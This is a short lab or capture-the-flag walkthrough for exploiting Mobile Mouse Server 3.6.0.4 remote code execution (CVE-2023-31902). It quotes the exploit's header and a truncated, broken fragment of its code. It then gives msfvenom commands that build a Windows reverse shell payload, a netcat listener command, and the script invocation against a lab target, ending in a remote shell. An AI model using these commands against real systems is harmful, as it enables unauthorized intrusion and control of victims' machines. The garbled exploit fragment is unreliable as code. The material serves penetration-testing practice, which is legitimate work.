Using port 9099 in the browser
In the first port, version scan we see that there is a Mobile Mouse Server
Search for an exploit in the internet and the following from github appears

Using the V2 version: CVE-2023-31902-v2.py
# Exploit Title: Mobile Mouse 3.6.0.4 Remote Code Execution v2
# Date: Apr 28, 2023
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://mobilemouse.com/
# Software Link: https://www.mobilemouse.com/downloads/setup.exe
# Version: 3.6.0.4
# Tested on: Windows 10 Enterprise LTSC Build 17763

shell = s.recv(96)
print("Take The rose...")
sleep(30)
s.close()Save the file to a mousemobile.py using the code above
Now create an executable remote shell execution using the msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP_LOCAL_MACHINE LPORT=PORT_LOCAL -f exe > shell-x64.exe
Using the mousemobile.py and using the shell-x64.exe as the code to be executed.
Take note that shell-x64.exe has been created using port 446
First open a terminal and run the following command
nc -lnvp 446
Leave it open and open another terminal and now we will exploit the mouse application using the python script.
python3 mousemobile.py --target 10.10.162.0 --lhost 10.10.123.135 --file shell-x64.exe
Now with the first terminal where netcat is opened, it should have connected.
Now we have a windows terminal opened.
